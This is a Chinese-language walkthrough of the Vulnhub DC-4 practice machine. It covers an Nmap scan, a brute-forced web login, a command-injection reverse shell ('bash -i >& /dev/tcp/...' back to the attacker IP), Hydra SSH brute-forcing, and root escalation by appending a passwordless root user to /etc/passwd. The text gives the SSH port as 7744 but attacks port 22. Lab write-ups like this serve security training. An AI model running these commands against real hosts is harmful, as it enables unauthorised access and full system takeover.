Vulnhub-DC-4
环境配置
vulnhub 下载此靶机,下载地址如下:
1 | https://download.vulnhub.com/dc/DC-4.zip |
将靶机设置为 NAT 模式,开机即可,配置说明如下:
1 | 攻击机ip:192.168.52.128 |
信息收集
端口扫描
首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.130
1 | nmap -sP 192.168.52.0/24 |
使用 Nmap 全面扫一下开放的端口和运行的服务
1 | nmap -sT -A -p1-65535 -T4 -O -sV 192.168.52.130 |
扫描结果如下:系统开放了一个 SSH 服务(7744 端口)、一个 HTTP 服务(80 端口)
1 | PORT STATE SERVICE VERSION |
登陆爆破
进入网站是一个登陆框,扫目录没发现什么有用的东西,账号默认 admin,尝试爆破密码
按照响应包长度筛选一下发现有一个长度不一样且 302 重定向了,使用该密码成功登陆
漏洞利用
命令执行
进入后是一个执行命令的界面,点 run 执行命令,不过这只能执行固定的命令
抓包修改需要执行的命令,写上反弹 shell 命令,特殊字符 url 编码一下
1 | bash -c '/bin/bash -i >& /dev/tcp/192.168.52.128/2233 0>&1' |
攻击机开启监听,成功反弹到靶机的 shell
权限提升
权限比较低,想办法提权,查看 home 下有三个用户,依次查看用户目录下的文件。只有 jim 目录下有文件,查看发现一个密码表 jim/backups/old-passwords.bak
靶机还开了一个 ssh 端口,将密码表复制出来,尝试爆破 jim 账户的密码
1 | hydra -l jim -P passwd.txt ssh://192.168.52.130:22 |
成功爆破出 jim 用户的密码,ssh 成功登陆
登陆后尝试 sudo 提权或者 suid 提权均以失败告终,可能权限太低需要切换用户
查看 jim 家目录下的 mbox 文件,是 root 用户发的邮件。然后再查看存储用户邮件的目录 /var/spool/mail
,有 jim 用户,cat 命令查看
意思是 charles 这个用户要提前下班了,把他的密码发了过来,用这个密码 ssh 登陆 charles 用户
切换用户后再尝试 sudo 提权,sudo -l 查看当前用户允许的 sudo 命令
发现 /usr/bin/teehee 命令是以 root 权限执行并且不需要密码的
用在线网站 GTFOBins 没有查到 teehee 文件的 sudo 提权命令,但是有类似的命令,一样的
下面提权命令意思是,新建一个无密码的 root 权限用户 hack 写到 /etc/passwd 里,这样可以直接通过 su 命令切换,不用输入密码,成功提权
1 | echo "hack::0:0:::/bin/bash" | sudo teehee -a /etc/passwd |